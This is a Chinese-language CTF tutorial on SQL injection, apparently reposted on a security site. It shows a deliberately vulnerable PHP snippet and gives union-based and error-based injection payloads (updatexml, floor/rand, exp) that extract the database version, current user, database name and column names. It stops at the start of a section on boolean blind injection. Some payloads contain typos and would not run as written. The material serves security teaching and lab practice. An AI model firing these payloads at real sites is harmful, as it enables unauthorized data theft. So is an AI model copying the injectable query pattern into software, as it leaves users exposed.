SQL注入-CTF

admin 2022年1月6日01:08:38评论100 views字数 2605阅读8分41秒阅读模式

概要

SQL注入:开发人员在开发过程中,直接将URL中的参数、HTTP Body中的Post参数或其他外来的用户输入(如Cookies,UserAgent等)与SQL语句进行拼接,造成待执行的SQL语句可控,从而使我们可以执行任意SQL语句

分类

1.可回显的注入

  • 可以联合查询的注入
  • 报错注入
  • 通过注入进行DNS请求,从而到达可回显的目的

2.不可回显的注入

  • Bool盲注
  • 时间盲注

3.二次注入

通常作为一种业务逻辑较为复杂的题目出现,一般需要自己编写脚本以实现自动化注入。

在一般的CTF比赛中,出题人都会变相地增加一层WAF

可以联合查询的SQL注入

在可以联合查询的题目中,一般会将数据库查询的数据回显到页面中,比如下面这个例子(测试样例代码时需要关闭GPC):

1
2
3
4
5
<php
$id = $_GET['id'];
$getid = "SELECT Id FROM users WHERE user_id = '$id'"
$result = mysql_query($getid) or die('<pre>'.mysql_error().'</pre')
$num = mysql_numrows($result);

$id变量会将GET获取到的参数直接拼接到SQL语句中,假如传入如下参数:

1
?id=-1'union+select+1--+

拼接后SQL语句就变成了:

1
SELECT Id FROM users WHERE user_id='-1'union select 1 --''

闭合前面的单引号,注释后面的单引号,中间写上需要的Payload就可以了

报错注入

1.updatexml

updatexml 的报错原理从本质上来说就是函数的报错

1
2
mysql> SELECT updatexml(1,concat(0x01,(SELECT version()),0x01),1);
ERROR 1105 (HY000): XPATH syntax error: '~5.5.44-0ubuntu0.14.04.1~'

这里还是使用前面的例子,举出一个爆破数据库版本的样例Payload:

1
?id=1+updatexml(1,concat(0x01,SELECT version(),0x01),1)%23

其他功能的Payload可以参照下面floor的使用方法来修改

2.floor

floor报错的原理是rand和order by 或 group by的冲突。在MySQL文档中的原文如下:

1
2
RAND() in a WHERE clause is re-evaluated every time the WHERE is executed
Use of a column with RAND() values in an ORDER BY or GROUP BY clause may yield unexpected results because for either clause a RAND() expression can be evaluated multiple times for the same row, each time returning a different result.

了解原理之后,我们来说一下应用的方法,如下。

爆破数据库版本

1
?id=1‘+and(select 1 from(select count(*),concat(select (select (select concat(0x01,user(),0x01)) from information_schema.table limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

爆破当前用户

1
?id=1'+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

爆破当前使用的数据库

1
?id=1'+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

爆破指定表的字段(下面以表名为emails举例说明):

1
?id=1'+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,column_name,0x7e))) from information_schema.columns where table_name = 0x656d61696c73 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

ps:我们这里采用的是十六进制的编码后的表名。如果想采用十六进制编码的表名则需要添加引号,但是这里有时候会出现单引号导致的报错

以上的Payload 可以在sqli-labs的level1中复现

image-20201226013914953

这里只演示爆破当前用户

exp

exp函数报错,exq()报错的本质原因是溢出报错。我们可以在MySQL中输入

1
select exp(~(select * from (select user())x))

image-20201226014658415

同样使用前面的例子,Payload为:

1
?id=1' exp(~(select * from (select user())x))%23

image-20201226014605414

Bool盲注

Bool盲注通常是由于开发者将报错信息屏蔽而导致的,但是网页中真和假有着不同的回显,比如返回真时返回access,为假时返回false;或者为真时返回正常页面,为假时跳转到错误页面等

FROM :ol4three.com | Author:ol4three

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:08:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQL注入-CTFhttp://cn-sec.com/archives/721136.html

发表评论

匿名网友 填写信息